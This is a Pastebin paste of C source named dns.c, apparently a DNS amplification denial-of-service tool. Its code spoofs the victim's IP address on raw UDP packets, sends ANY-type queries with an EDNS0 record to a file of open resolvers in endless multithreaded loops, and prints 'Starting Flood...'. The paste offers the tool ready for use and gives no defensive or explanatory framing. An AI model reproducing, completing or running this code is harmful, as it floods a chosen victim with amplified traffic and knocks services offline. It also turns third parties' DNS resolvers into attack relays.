vap0r

dns.c

Feb 12th, 2015
904
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.29 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. #define PACKETS_PER_RESOLVER 25
  14. static uint32_t Q[4096], c = 362436;
  15. struct list
  16. {
  17.                  struct sockaddr_in data;
  18.                  char domain[512];
  19.                  int line;
  20.                  struct list *next;
  21.                  struct list *prev;
  22. };
  23. struct list *head;
  24. struct thread_data{
  25.                  int thread_id;
  26.                  struct list *list_node;
  27.                  struct sockaddr_in sin;
  28.                  int port;
  29. };
  30. struct DNS_HEADER
  31. {
  32.                  unsigned short id;
  33.                  unsigned char rd :1;
  34.                  unsigned char tc :1;
  35.                  unsigned char aa :1;
  36.                  unsigned char opcode :4;
  37.                  unsigned char qr :1;
  38.                  unsigned char rcode :4;
  39.                  unsigned char cd :1;
  40.                  unsigned char ad :1;
  41.                  unsigned char z :1;
  42.                  unsigned char ra :1;
  43.                  unsigned short q_count;
  44.                  unsigned short ans_count;
  45.                  unsigned short auth_count;
  46.                  unsigned short add_count;
  47. };
  48. struct QUESTION
  49. {
  50.          unsigned short qtype;
  51.          unsigned short qclass;
  52. };
  53. struct QUERY
  54. {
  55.                  unsigned char *name;
  56.                  struct QUESTION *ques;
  57. };
  58. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  59. {
  60.                  int lock = 0 , i;
  61.                  strcat((char*)host,".");
  62.                  for(i = 0 ; i < strlen((char*)host) ; i++)
  63.                  {
  64.                                  if(host[i]=='.')
  65.                                  {
  66.                                                  *dns++ = i-lock;
  67.                                                  for(;lock<i;lock++)
  68.                                                  {
  69.                                                                  *dns++=host[lock];
  70.                                                  }
  71.                                                  lock++; //or lock=i+1;
  72.                                  }
  73.                  }
  74.                  *dns++='\0';
  75. }
  76. void init_rand(uint32_t x)
  77. {
  78.                  int i;
  79.                  Q[0] = x;
  80.                  Q[1] = x + PHI;
  81.                  Q[2] = x + PHI + PHI;
  82.                  for (i = 3; i < 4096; i++)
  83.                  Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  84. }
  85.  
  86. uint32_t rand_cmwc(void)
  87. {
  88.                  uint64_t t, a = 18782LL;
  89.                  static uint32_t i = 4095;
  90.                  uint32_t x, r = 0xfffffffe;
  91.                  i = (i + 1) & 4095;
  92.                  t = a * Q[i] + c;
  93.                  c = (t >> 32);
  94.                  x = t + c;
  95.                  if (x < c) {
  96.                                  x++;
  97.                                  c++;
  98.                  }
  99.                  return (Q[i] = r - x);
  100. }
  101. unsigned short csum (unsigned short *buf, int nwords)
  102. {
  103.                  unsigned long sum;
  104.                  for (sum = 0; nwords > 0; nwords--)
  105.                  sum += *buf++;
  106.                  sum = (sum >> 16) + (sum & 0xffff);
  107.                  sum += (sum >> 16);
  108.                  return (unsigned short)(~sum);
  109. }
  110. void setup_udp_header(struct udphdr *udph)
  111. {
  112. }
  113. void *flood(void *par1)
  114. {
  115.                  struct thread_data *td = (struct thread_data *)par1;
  116.                  char strPacket[MAX_PACKET_SIZE];
  117.                  int iPayloadSize = 0;
  118.                  struct sockaddr_in sin = td->sin;
  119.                  struct list *list_node = td->list_node;
  120.                  int iPort = td->port;
  121.                  int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  122.                  if(s < 0)
  123.                  {
  124.                          fprintf(stderr, "Error: Could not open raw socket. \n");
  125.                          exit(-1);
  126.                  }
  127.                  //init random
  128.                  init_rand(time(NULL));
  129.                  // Clear the data
  130.                  memset(strPacket, 0, MAX_PACKET_SIZE);
  131.                  // Make the packet
  132.                  struct iphdr *iph = (struct iphdr *) &strPacket;
  133.                  iph->ihl = 5;
  134.                  iph->version = 4;
  135.                  iph->tos = 0;
  136.                  iph->tot_len = sizeof(struct iphdr) + 38;
  137.                  iph->id = htonl(54321);
  138.                  iph->frag_off = 0;
  139.                  iph->ttl = MAXTTL;
  140.                  iph->protocol = IPPROTO_UDP;
  141.                  iph->check = 0;
  142.                  iph->saddr = inet_addr("192.168.3.100");
  143.                  iPayloadSize += sizeof(struct iphdr);
  144.                  struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  145.                  udph->source = htons(iPort);
  146.                  udph->dest = htons(53);
  147.                  udph->check = 0;
  148.                  iPayloadSize += sizeof(struct udphdr);
  149.                  struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  150.                  dns->id = (unsigned short) htons(rand_cmwc());
  151.                  dns->qr = 0;
  152.                  dns->opcode = 0;
  153.                  dns->aa = 0;
  154.                  dns->tc = 0;
  155.                  dns->rd = 1;
  156.                  dns->ra = 0;
  157.                  dns->z = 0;
  158.                  dns->ad = 0;
  159.                  dns->cd = 0;
  160.                  dns->rcode = 0;
  161.                  dns->q_count = htons(1);
  162.                  dns->ans_count = 0;
  163.                  dns->auth_count = 0;
  164.                  dns->add_count = htons(1);
  165.                  iPayloadSize += sizeof(struct DNS_HEADER);
  166.                  sin.sin_port = udph->source;
  167.                  iph->saddr = sin.sin_addr.s_addr;
  168.                  iph->daddr = list_node->data.sin_addr.s_addr;
  169.                  iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  170.                  char strDomain[512];
  171.                  int i;
  172.                  int j = 0;
  173.                  int iAdditionalSize = 0;
  174.                  while(1)
  175.                  {
  176.                          if(j==2){
  177.                                  usleep(100);
  178.                                  j=0;
  179.                          }
  180.                          list_node = list_node->next;
  181.                          memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  182.                          iAdditionalSize = 0;
  183.                          unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  184.                          strcpy(strDomain, list_node->domain);
  185.                          ChangetoDnsNameFormat(qname, strDomain);
  186.                          //printf("!!%s %d\n", list_node->domain, list_node->line);
  187.                          iAdditionalSize += strlen(qname) + 1;
  188.                          struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  189.                          qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  190.                          qinfo->qclass = htons(1);
  191.                          iAdditionalSize += sizeof(struct QUESTION);
  192.                          strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  193.                          strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  194.                          strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  195.                          strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  196.                          strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  197.                          strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  198.                          strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  199.                          strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  200.                          strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  201.                          strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  202.                          strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  203.                          strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  204.                          iAdditionalSize += 11;
  205.                          iph->daddr = list_node->data.sin_addr.s_addr;
  206.                          udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  207.                          iph->tot_len = iPayloadSize + iAdditionalSize;
  208.                          udph->source = htons(rand_cmwc() & 0xFFFF);
  209.                          iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  210.                          for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  211.                          {
  212.                          sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  213.                          }
  214.                          j++;
  215.                  }
  216. }
  217. void ParseResolverLine(char *strLine, int iLine)
  218. {
  219.          char caIP[32] = "";
  220.          char caDNS[512] = "";
  221.          int i;
  222.          char buffer[512] = "";
  223.          int moved = 0;
  224.          for(i = 0; i < strlen(strLine); i++)
  225.          {
  226.                  if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  227.                  {
  228.                          moved++;
  229.                          continue;
  230.                  }
  231.                  if(moved == 0)
  232.                  {
  233.                          caIP[strlen(caIP)] = (char) strLine[i];
  234.                  }
  235.                  else if(moved == 1)
  236.                  {
  237.                          caDNS[strlen(caDNS)] = (char) strLine[i];
  238.                  }
  239.          }
  240.          //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  241.          if(head == NULL)
  242.          {
  243.                  head = (struct list *)malloc(sizeof(struct list));
  244.                  bzero(&head->data, sizeof(head->data));
  245.                  head->data.sin_addr.s_addr=inet_addr(caIP);
  246.                  head->data.sin_port=htons(53);
  247.                  strcpy(head->domain, caDNS);
  248.                  head->line = iLine;
  249.                  head->next = head;
  250.                  head->prev = head;
  251.          }
  252.          else
  253.          {
  254.                  struct list *new_node = (struct list *)malloc(sizeof(struct list));
  255.                  memset(new_node, 0x00, sizeof(struct list));
  256.                  new_node->data.sin_addr.s_addr=inet_addr(caIP);
  257.                  new_node->data.sin_port=htons(53);
  258.                  strcpy(new_node->domain, caDNS);
  259.                  new_node->prev = head;
  260.                  head->line = iLine;
  261.                  new_node->next = head->next;
  262.                  head->next = new_node;
  263.          }
  264. }
  265. int main(int argc, char *argv[ ])
  266. {
  267.          if(argc < 4)
  268.          {
  269.                  fprintf(stderr, "Invalid parameters!\n");
  270.                  fprintf(stderr, "Usage: %s <target> <port> <nameserver file> <threads> [time]\n", argv[0]);
  271.                  exit(-1);
  272.          }
  273.          head = NULL;
  274.          char *strLine = (char *) malloc(256);
  275.          strLine = memset(strLine, 0x00, 256);
  276.          char strIP[32] = "";
  277.          char strDomain[256] = "";
  278.          int iLine = 0; // 0 = ip, 1 = domain.
  279.          FILE *list_fd = fopen(argv[3],  "r");
  280.          while(fgets(strLine, 256, list_fd) != NULL)
  281.          {
  282.                  ParseResolverLine(strLine, iLine);
  283.                  iLine++;
  284.          }
  285.          int i = 0;
  286.          int num_threads = atoi(argv[4]);
  287.          struct list *current = head->next;
  288.          pthread_t thread[num_threads];
  289.          struct sockaddr_in sin;
  290.          sin.sin_family = AF_INET;
  291.          sin.sin_port = htons(0);
  292.          sin.sin_addr.s_addr = inet_addr(argv[1]);
  293.          struct thread_data td[num_threads];
  294.          int iPort = atoi(argv[2]);
  295.          printf("Target: %s:%d\n", argv[1], iPort);
  296.          for(i = 0; i < num_threads; i++)
  297.          {
  298.                  td[i].thread_id = i;
  299.                  td[i].sin= sin;
  300.                  td[i].list_node = current;
  301.                  td[i].port = iPort;
  302.                  pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  303.          }
  304.          fprintf(stdout, "Starting Flood...\n");
  305.          if(argc > 4)
  306.          {
  307.                  sleep(atoi(argv[5]));
  308.          }
  309.          else
  310.          {
  311.                  while(1)
  312.                  {
  313.                          sleep(1);
  314.                  }
  315.          }
  316.          return 0;
  317. }
Advertisement
Add Comment
Please, Sign In to add comment